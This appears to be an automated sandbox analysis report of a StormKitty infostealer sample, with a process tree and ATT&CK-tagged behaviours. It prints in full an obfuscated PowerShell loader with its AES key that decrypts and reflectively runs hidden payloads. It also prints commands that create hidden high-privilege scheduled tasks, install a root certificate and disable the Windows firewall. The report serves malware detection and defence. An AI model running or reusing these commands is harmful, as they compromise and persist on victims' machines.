stormkitty | 36caf389f8c2d1898c6a5b2df76b44dc5953852141b10c21ce4e8ea2db55b2b9

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName	taskmgr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000	taskmgr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A	taskmgr.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	taskmgr.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	taskmgr.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe

Modifies registry class 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1735401866-3802634615-1355934272-1000_Classes\Local Settings	powershell.exe
Key created	\REGISTRY\USER\S-1-5-21-1735401866-3802634615-1355934272-1000_Classes\Local Settings\MuiCache	MiniSearchHost.exe

Modifies system certificate store 2 TTPs 3 IoCs

evasion spyware trojan

Install Root Certificate

T1553.004

Modify Registry

T1112

description	ioc	Process
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8\Blob = 5c0000000100000004000000001000001900000001000000100000002fe1f70bb05d7c92335bc5e05b984da60f00000001000000200000003f0411ede9c4477057d57e57883b1f205b20cdc0f3263129b1ee0269a2678f63030000000100000014000000cabd2a79a1076a31f21d253635cb039d4329a5e814000000010000001400000079b459e67bb6e5e40173800888c81a58f6e99b6e0400000001000000100000000cd2f9e0da1773e9ed864da5e370e74e20000000010000006f0500003082056b30820353a0030201020211008210cfb0d240e3594463e0bb63828b00300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3135303630343131303433385a170d3335303630343131303433385a304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f7420583130820222300d06092a864886f70d01010105000382020f003082020a0282020100ade82473f41437f39b9e2b57281c87bedcb7df38908c6e3ce657a078f775c2a2fef56a6ef6004f28dbde68866c4493b6b163fd14126bbf1fd2ea319b217ed1333cba48f5dd79dfb3b8ff12f1219a4bc18a8671694a66666c8f7e3c70bfad292206f3e4c0e680aee24b8fb7997e94039fd347977c99482353e838ae4f0a6f832ed149578c8074b6da2fd0388d7b0370211b75f2303cfa8faeddda63abeb164fc28e114b7ecf0be8ffb5772ef4b27b4ae04c12250c708d0329a0e15324ec13d9ee19bf10b34a8c3f89a36151deac870794f46371ec2ee26f5b9881e1895c34796c76ef3b906279e6dba49a2f26c5d010e10eded9108e16fbb7f7a8f7c7e50207988f360895e7e237960d36759efb0e72b11d9bbc03f94905d881dd05b42ad641e9ac0176950a0fd8dfd5bd121f352f28176cd298c1a80964776e4737baceac595e689d7f72d689c50641293e593edd26f524c911a75aa34c401f46a199b5a73a516e863b9e7d72a712057859ed3e5178150b038f8dd02f05b23e7b4a1c4b730512fcc6eae050137c439374b3ca74e78e1f0108d030d45b7136b407bac130305c48b7823b98a67d608aa2a32982ccbabd83041ba2830341a1d605f11bc2b6f0a87c863b46a8482a88dc769a76bf1f6aa53d198feb38f364dec82b0d0a28fff7dbe21542d422d0275de179fe18e77088ad4ee6d98b3ac6dd27516effbc64f533434f0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e0416041479b459e67bb6e5e40173800888c81a58f6e99b6e300d06092a864886f70d01010b05000382020100551f58a9bcb2a850d00cb1d81a6920272908ac61755c8a6ef882e5692fd5f6564bb9b8731059d321977ee74c71fbb2d260ad39a80bea17215685f1500e59ebcee059e9bac915ef869d8f8480f6e4e99190dc179b621b45f06695d27c6fc2ea3bef1fcfcbd6ae27f1a9b0c8aefd7d7e9afa2204ebffd97fea912b22b1170e8ff28a345b58d8fc01c954b9b826cc8a8833894c2d843c82dfee965705ba2cbbf7c4b7c74e3b82be31c822737392d1c280a43939103323824c3c9f86b255981dbe29868c229b9ee26b3b573a82704ddc09c789cb0a074d6ce85d8ec9efceabc7bbb52b4e45d64ad026cce572ca086aa595e315a1f7a4edc92c5fa5fbffac28022ebed77bbbe3717b9016d3075e46537c3707428cd3c4969cd599b52ae0951a8048ae4c3907cecc47a452952bbab8fbadd233537de51d4d6dd5a1b1c7426fe64027355ca328b7078de78d3390e7239ffb509c796c46d5b415b3966e7e9b0c963ab8522d3fd65be1fb08c284fe24a8a389daac6ae1182ab1a843615bd31fdc3b8d76f22de88d75df17336c3d53fb7bcb415fffdca2d06138e196b8ac5d8b37d775d533c09911ae9d41c1727584be0241425f67244894d19b27be073fb9b84f817451e17ab7ed9d23e2bee0d52804133c31039edd7a6c8fc60718c67fde478e3f289e0406cfa5543477bdec899be91743df5bdb5ffe8e1e57a2cd409d7e6222dade1827	Launcher.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8	Launcher.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8\Blob = 0400000001000000100000000cd2f9e0da1773e9ed864da5e370e74e14000000010000001400000079b459e67bb6e5e40173800888c81a58f6e99b6e030000000100000014000000cabd2a79a1076a31f21d253635cb039d4329a5e80f00000001000000200000003f0411ede9c4477057d57e57883b1f205b20cdc0f3263129b1ee0269a2678f631900000001000000100000002fe1f70bb05d7c92335bc5e05b984da620000000010000006f0500003082056b30820353a0030201020211008210cfb0d240e3594463e0bb63828b00300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3135303630343131303433385a170d3335303630343131303433385a304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f7420583130820222300d06092a864886f70d01010105000382020f003082020a0282020100ade82473f41437f39b9e2b57281c87bedcb7df38908c6e3ce657a078f775c2a2fef56a6ef6004f28dbde68866c4493b6b163fd14126bbf1fd2ea319b217ed1333cba48f5dd79dfb3b8ff12f1219a4bc18a8671694a66666c8f7e3c70bfad292206f3e4c0e680aee24b8fb7997e94039fd347977c99482353e838ae4f0a6f832ed149578c8074b6da2fd0388d7b0370211b75f2303cfa8faeddda63abeb164fc28e114b7ecf0be8ffb5772ef4b27b4ae04c12250c708d0329a0e15324ec13d9ee19bf10b34a8c3f89a36151deac870794f46371ec2ee26f5b9881e1895c34796c76ef3b906279e6dba49a2f26c5d010e10eded9108e16fbb7f7a8f7c7e50207988f360895e7e237960d36759efb0e72b11d9bbc03f94905d881dd05b42ad641e9ac0176950a0fd8dfd5bd121f352f28176cd298c1a80964776e4737baceac595e689d7f72d689c50641293e593edd26f524c911a75aa34c401f46a199b5a73a516e863b9e7d72a712057859ed3e5178150b038f8dd02f05b23e7b4a1c4b730512fcc6eae050137c439374b3ca74e78e1f0108d030d45b7136b407bac130305c48b7823b98a67d608aa2a32982ccbabd83041ba2830341a1d605f11bc2b6f0a87c863b46a8482a88dc769a76bf1f6aa53d198feb38f364dec82b0d0a28fff7dbe21542d422d0275de179fe18e77088ad4ee6d98b3ac6dd27516effbc64f533434f0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e0416041479b459e67bb6e5e40173800888c81a58f6e99b6e300d06092a864886f70d01010b05000382020100551f58a9bcb2a850d00cb1d81a6920272908ac61755c8a6ef882e5692fd5f6564bb9b8731059d321977ee74c71fbb2d260ad39a80bea17215685f1500e59ebcee059e9bac915ef869d8f8480f6e4e99190dc179b621b45f06695d27c6fc2ea3bef1fcfcbd6ae27f1a9b0c8aefd7d7e9afa2204ebffd97fea912b22b1170e8ff28a345b58d8fc01c954b9b826cc8a8833894c2d843c82dfee965705ba2cbbf7c4b7c74e3b82be31c822737392d1c280a43939103323824c3c9f86b255981dbe29868c229b9ee26b3b573a82704ddc09c789cb0a074d6ce85d8ec9efceabc7bbb52b4e45d64ad026cce572ca086aa595e315a1f7a4edc92c5fa5fbffac28022ebed77bbbe3717b9016d3075e46537c3707428cd3c4969cd599b52ae0951a8048ae4c3907cecc47a452952bbab8fbadd233537de51d4d6dd5a1b1c7426fe64027355ca328b7078de78d3390e7239ffb509c796c46d5b415b3966e7e9b0c963ab8522d3fd65be1fb08c284fe24a8a389daac6ae1182ab1a843615bd31fdc3b8d76f22de88d75df17336c3d53fb7bcb415fffdca2d06138e196b8ac5d8b37d775d533c09911ae9d41c1727584be0241425f67244894d19b27be073fb9b84f817451e17ab7ed9d23e2bee0d52804133c31039edd7a6c8fc60718c67fde478e3f289e0406cfa5543477bdec899be91743df5bdb5ffe8e1e57a2cd409d7e6222dade1827	Launcher.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
3780	schtasks.exe

Suspicious behavior: EnumeratesProcesses 31 IoCs

pid	Process
4532	powershell.exe
4532	powershell.exe
5040	powershell.exe
5040	powershell.exe
2512	powershell.exe
2512	powershell.exe
3156	Runtime Brocker
3156	Runtime Brocker
1612	taskmgr.exe
1612	taskmgr.exe
1612	taskmgr.exe
1612	taskmgr.exe
1612	taskmgr.exe
1612	taskmgr.exe
1612	taskmgr.exe
1612	taskmgr.exe
1612	taskmgr.exe
1612	taskmgr.exe
1612	taskmgr.exe
1612	taskmgr.exe
1612	taskmgr.exe
1612	taskmgr.exe
1612	taskmgr.exe
1612	taskmgr.exe
1612	taskmgr.exe
3292	Runtime Brocker
3292	Runtime Brocker
1140	msedge.exe
1140	msedge.exe
1816	msedge.exe
1816	msedge.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 4 IoCs

pid	Process
1816	msedge.exe
1816	msedge.exe
1816	msedge.exe
1816	msedge.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4532	powershell.exe
Token: SeDebugPrivilege	5040	powershell.exe
Token: SeIncreaseQuotaPrivilege	5040	powershell.exe
Token: SeSecurityPrivilege	5040	powershell.exe
Token: SeTakeOwnershipPrivilege	5040	powershell.exe
Token: SeLoadDriverPrivilege	5040	powershell.exe
Token: SeSystemProfilePrivilege	5040	powershell.exe
Token: SeSystemtimePrivilege	5040	powershell.exe
Token: SeProfSingleProcessPrivilege	5040	powershell.exe
Token: SeIncBasePriorityPrivilege	5040	powershell.exe
Token: SeCreatePagefilePrivilege	5040	powershell.exe
Token: SeBackupPrivilege	5040	powershell.exe
Token: SeRestorePrivilege	5040	powershell.exe
Token: SeShutdownPrivilege	5040	powershell.exe
Token: SeDebugPrivilege	5040	powershell.exe
Token: SeSystemEnvironmentPrivilege	5040	powershell.exe
Token: SeRemoteShutdownPrivilege	5040	powershell.exe
Token: SeUndockPrivilege	5040	powershell.exe
Token: SeManageVolumePrivilege	5040	powershell.exe
Token: 33	5040	powershell.exe
Token: 34	5040	powershell.exe
Token: 35	5040	powershell.exe
Token: 36	5040	powershell.exe
Token: SeIncreaseQuotaPrivilege	5040	powershell.exe
Token: SeSecurityPrivilege	5040	powershell.exe
Token: SeTakeOwnershipPrivilege	5040	powershell.exe
Token: SeLoadDriverPrivilege	5040	powershell.exe
Token: SeSystemProfilePrivilege	5040	powershell.exe
Token: SeSystemtimePrivilege	5040	powershell.exe
Token: SeProfSingleProcessPrivilege	5040	powershell.exe
Token: SeIncBasePriorityPrivilege	5040	powershell.exe
Token: SeCreatePagefilePrivilege	5040	powershell.exe
Token: SeBackupPrivilege	5040	powershell.exe
Token: SeRestorePrivilege	5040	powershell.exe
Token: SeShutdownPrivilege	5040	powershell.exe
Token: SeDebugPrivilege	5040	powershell.exe
Token: SeSystemEnvironmentPrivilege	5040	powershell.exe
Token: SeRemoteShutdownPrivilege	5040	powershell.exe
Token: SeUndockPrivilege	5040	powershell.exe
Token: SeManageVolumePrivilege	5040	powershell.exe
Token: 33	5040	powershell.exe
Token: 34	5040	powershell.exe
Token: 35	5040	powershell.exe
Token: 36	5040	powershell.exe
Token: SeIncreaseQuotaPrivilege	5040	powershell.exe
Token: SeSecurityPrivilege	5040	powershell.exe
Token: SeTakeOwnershipPrivilege	5040	powershell.exe
Token: SeLoadDriverPrivilege	5040	powershell.exe
Token: SeSystemProfilePrivilege	5040	powershell.exe
Token: SeSystemtimePrivilege	5040	powershell.exe
Token: SeProfSingleProcessPrivilege	5040	powershell.exe
Token: SeIncBasePriorityPrivilege	5040	powershell.exe
Token: SeCreatePagefilePrivilege	5040	powershell.exe
Token: SeBackupPrivilege	5040	powershell.exe
Token: SeRestorePrivilege	5040	powershell.exe
Token: SeShutdownPrivilege	5040	powershell.exe
Token: SeDebugPrivilege	5040	powershell.exe
Token: SeSystemEnvironmentPrivilege	5040	powershell.exe
Token: SeRemoteShutdownPrivilege	5040	powershell.exe
Token: SeUndockPrivilege	5040	powershell.exe
Token: SeManageVolumePrivilege	5040	powershell.exe
Token: 33	5040	powershell.exe
Token: 34	5040	powershell.exe
Token: 35	5040	powershell.exe

Suspicious use of FindShellTrayWindow 64 IoCs

pid	Process
1612	taskmgr.exe
1612	taskmgr.exe
1612	taskmgr.exe
1612	taskmgr.exe
1612	taskmgr.exe
1612	taskmgr.exe
1612	taskmgr.exe
1612	taskmgr.exe
1612	taskmgr.exe
1612	taskmgr.exe
1612	taskmgr.exe
1612	taskmgr.exe
1612	taskmgr.exe
1612	taskmgr.exe
1612	taskmgr.exe
1612	taskmgr.exe
1612	taskmgr.exe
1612	taskmgr.exe
1612	taskmgr.exe
1612	taskmgr.exe
1612	taskmgr.exe
1612	taskmgr.exe
1612	taskmgr.exe
1612	taskmgr.exe
1612	taskmgr.exe
1612	taskmgr.exe
1612	taskmgr.exe
1612	taskmgr.exe
1612	taskmgr.exe
1612	taskmgr.exe
1612	taskmgr.exe
1612	taskmgr.exe
1612	taskmgr.exe
1612	taskmgr.exe
1612	taskmgr.exe
1612	taskmgr.exe
1612	taskmgr.exe
1612	taskmgr.exe
1612	taskmgr.exe
1612	taskmgr.exe
1612	taskmgr.exe
1612	taskmgr.exe
1816	msedge.exe
1816	msedge.exe
1816	msedge.exe
1816	msedge.exe
1816	msedge.exe
1816	msedge.exe
1816	msedge.exe
1816	msedge.exe
1816	msedge.exe
1816	msedge.exe
1816	msedge.exe
1816	msedge.exe
1816	msedge.exe
1816	msedge.exe
1816	msedge.exe
1816	msedge.exe
1816	msedge.exe
1816	msedge.exe
1816	msedge.exe
1816	msedge.exe
1816	msedge.exe
1816	msedge.exe

Suspicious use of SendNotifyMessage 54 IoCs

pid	Process
1612	taskmgr.exe
1612	taskmgr.exe
1612	taskmgr.exe
1612	taskmgr.exe
1612	taskmgr.exe
1612	taskmgr.exe
1612	taskmgr.exe
1612	taskmgr.exe
1612	taskmgr.exe
1612	taskmgr.exe
1612	taskmgr.exe
1612	taskmgr.exe
1612	taskmgr.exe
1612	taskmgr.exe
1612	taskmgr.exe
1612	taskmgr.exe
1612	taskmgr.exe
1612	taskmgr.exe
1612	taskmgr.exe
1612	taskmgr.exe
1612	taskmgr.exe
1612	taskmgr.exe
1612	taskmgr.exe
1612	taskmgr.exe
1612	taskmgr.exe
1612	taskmgr.exe
1612	taskmgr.exe
1612	taskmgr.exe
1612	taskmgr.exe
1612	taskmgr.exe
1612	taskmgr.exe
1612	taskmgr.exe
1612	taskmgr.exe
1612	taskmgr.exe
1612	taskmgr.exe
1612	taskmgr.exe
1612	taskmgr.exe
1612	taskmgr.exe
1612	taskmgr.exe
1612	taskmgr.exe
1612	taskmgr.exe
1612	taskmgr.exe
1816	msedge.exe
1816	msedge.exe
1816	msedge.exe
1816	msedge.exe
1816	msedge.exe
1816	msedge.exe
1816	msedge.exe
1816	msedge.exe
1816	msedge.exe
1816	msedge.exe
1816	msedge.exe
1816	msedge.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
3980	MiniSearchHost.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1976 wrote to memory of 244	1976	Launcher.exe	79
PID 1976 wrote to memory of 244	1976	Launcher.exe	79
PID 244 wrote to memory of 2608	244	wscript.exe	80
PID 244 wrote to memory of 2608	244	wscript.exe	80
PID 2608 wrote to memory of 1564	2608	cmd.exe	82
PID 2608 wrote to memory of 1564	2608	cmd.exe	82
PID 1564 wrote to memory of 3744	1564	net.exe	83
PID 1564 wrote to memory of 3744	1564	net.exe	83
PID 2608 wrote to memory of 4532	2608	cmd.exe	84
PID 2608 wrote to memory of 4532	2608	cmd.exe	84
PID 4532 wrote to memory of 5040	4532	powershell.exe	85
PID 4532 wrote to memory of 5040	4532	powershell.exe	85
PID 4532 wrote to memory of 4084	4532	powershell.exe	88
PID 4532 wrote to memory of 4084	4532	powershell.exe	88
PID 4084 wrote to memory of 3552	4084	WScript.exe	89
PID 4084 wrote to memory of 3552	4084	WScript.exe	89
PID 3552 wrote to memory of 2036	3552	cmd.exe	91
PID 3552 wrote to memory of 2036	3552	cmd.exe	91
PID 2036 wrote to memory of 4156	2036	net.exe	92
PID 2036 wrote to memory of 4156	2036	net.exe	92
PID 3552 wrote to memory of 2512	3552	cmd.exe	93
PID 3552 wrote to memory of 2512	3552	cmd.exe	93
PID 2512 wrote to memory of 3780	2512	powershell.exe	94
PID 2512 wrote to memory of 3780	2512	powershell.exe	94
PID 2512 wrote to memory of 3000	2512	powershell.exe	103
PID 2512 wrote to memory of 3000	2512	powershell.exe	103
PID 2512 wrote to memory of 3760	2512	powershell.exe	111
PID 2512 wrote to memory of 3760	2512	powershell.exe	111
PID 2512 wrote to memory of 1816	2512	powershell.exe	113
PID 2512 wrote to memory of 1816	2512	powershell.exe	113
PID 1816 wrote to memory of 2284	1816	msedge.exe	114
PID 1816 wrote to memory of 2284	1816	msedge.exe	114
PID 1816 wrote to memory of 3612	1816	msedge.exe	115
PID 1816 wrote to memory of 3612	1816	msedge.exe	115
PID 1816 wrote to memory of 3612	1816	msedge.exe	115
PID 1816 wrote to memory of 3612	1816	msedge.exe	115
PID 1816 wrote to memory of 3612	1816	msedge.exe	115
PID 1816 wrote to memory of 3612	1816	msedge.exe	115
PID 1816 wrote to memory of 3612	1816	msedge.exe	115
PID 1816 wrote to memory of 3612	1816	msedge.exe	115
PID 1816 wrote to memory of 3612	1816	msedge.exe	115
PID 1816 wrote to memory of 3612	1816	msedge.exe	115
PID 1816 wrote to memory of 3612	1816	msedge.exe	115
PID 1816 wrote to memory of 3612	1816	msedge.exe	115
PID 1816 wrote to memory of 3612	1816	msedge.exe	115
PID 1816 wrote to memory of 3612	1816	msedge.exe	115
PID 1816 wrote to memory of 3612	1816	msedge.exe	115
PID 1816 wrote to memory of 3612	1816	msedge.exe	115
PID 1816 wrote to memory of 3612	1816	msedge.exe	115
PID 1816 wrote to memory of 3612	1816	msedge.exe	115
PID 1816 wrote to memory of 3612	1816	msedge.exe	115
PID 1816 wrote to memory of 3612	1816	msedge.exe	115
PID 1816 wrote to memory of 3612	1816	msedge.exe	115
PID 1816 wrote to memory of 3612	1816	msedge.exe	115
PID 1816 wrote to memory of 3612	1816	msedge.exe	115
PID 1816 wrote to memory of 3612	1816	msedge.exe	115
PID 1816 wrote to memory of 3612	1816	msedge.exe	115
PID 1816 wrote to memory of 3612	1816	msedge.exe	115
PID 1816 wrote to memory of 3612	1816	msedge.exe	115
PID 1816 wrote to memory of 3612	1816	msedge.exe	115
PID 1816 wrote to memory of 3612	1816	msedge.exe	115
PID 1816 wrote to memory of 3612	1816	msedge.exe	115
PID 1816 wrote to memory of 3612	1816	msedge.exe	115
PID 1816 wrote to memory of 3612	1816	msedge.exe	115

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\Launcher.exe
"C:\Users\Admin\AppData\Local\Temp\Launcher.exe"
1⤵
- Modifies system certificate store
- Suspicious use of WriteProcessMemory
PID:1976
- C:\Windows\system32\wscript.exe
  wscript C:\Users\Admin\AppData\Local\Temp\kXmONzbeuL.vbs C:\Users\Admin\AppData\Local\Temp\kXmONzbeuL.bat
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:244
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\kXmONzbeuL.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2608
  - - C:\Windows\system32\net.exe
      net file
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1564
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 file
        5⤵
        
        PID:3744
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('dKf7gcQ929Oc7g0ElBNFOpMBFb8jbwMLhvGP43UPh20='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('5jRuOKduZsFFzTiTcHd89A=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $xrcEr=New-Object System.IO.MemoryStream(,$param_var); $RFVUj=New-Object System.IO.MemoryStream; $pNxOF=New-Object System.IO.Compression.GZipStream($xrcEr, [IO.Compression.CompressionMode]::Decompress); $pNxOF.CopyTo($RFVUj); $pNxOF.Dispose(); $xrcEr.Dispose(); $RFVUj.Dispose(); $RFVUj.ToArray();}function execute_function($param_var,$param2_var){ $pNGMt=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $BRZOL=$pNGMt.EntryPoint; $BRZOL.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\kXmONzbeuL.bat';$Mnidd=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\kXmONzbeuL.bat').Split([Environment]::NewLine);foreach ($WvKGY in $Mnidd) { if ($WvKGY.StartsWith(':: ')) { $KRBOT=$WvKGY.Substring(3); break; }}$payloads_var=[string[]]$KRBOT.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
      4⤵
      Command and Scripting Interpreter: PowerShell
      Modifies registry class
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:4532
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_526_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_526.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:5040
    - - C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str_526.vbs"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:4084
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str_526.bat" "
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:3552
        
        C:\Windows\system32\net.exe
        
        net file
        7⤵
        Suspicious use of WriteProcessMemory
        
        PID:2036
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 file
        8⤵
        
        PID:4156
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('dKf7gcQ929Oc7g0ElBNFOpMBFb8jbwMLhvGP43UPh20='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('5jRuOKduZsFFzTiTcHd89A=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $xrcEr=New-Object System.IO.MemoryStream(,$param_var); $RFVUj=New-Object System.IO.MemoryStream; $pNxOF=New-Object System.IO.Compression.GZipStream($xrcEr, [IO.Compression.CompressionMode]::Decompress); $pNxOF.CopyTo($RFVUj); $pNxOF.Dispose(); $xrcEr.Dispose(); $RFVUj.Dispose(); $RFVUj.ToArray();}function execute_function($param_var,$param2_var){ $pNGMt=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $BRZOL=$pNGMt.EntryPoint; $BRZOL.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Roaming\startup_str_526.bat';$Mnidd=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Roaming\startup_str_526.bat').Split([Environment]::NewLine);foreach ($WvKGY in $Mnidd) { if ($WvKGY.StartsWith(':: ')) { $KRBOT=$WvKGY.Substring(3); break; }}$payloads_var=[string[]]$KRBOT.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        7⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Drops startup file
        Adds Run key to start application
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:2512
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "Runtime Brocker" /tr "C:\Users\Admin\AppData\Roaming\Runtime Brocker"
        8⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:3780
        
        C:\Windows\System32\netsh.exe
        
        "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
        8⤵
        Modifies Windows Firewall
        Event Triggered Execution: Netsh Helper DLL
        
        PID:3000
        
        C:\Windows\SYSTEM32\CMD.EXE
        
        "CMD.EXE"
        8⤵
        
        PID:3760
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.youtube.com/watch?v=dQw4w9WgXcQ&pp=ygUJcmljayByb2xs
        8⤵
        Enumerates system info in registry
        Suspicious behavior: EnumeratesProcesses
        Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
        Suspicious use of FindShellTrayWindow
        Suspicious use of SendNotifyMessage
        Suspicious use of WriteProcessMemory
        
        PID:1816
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
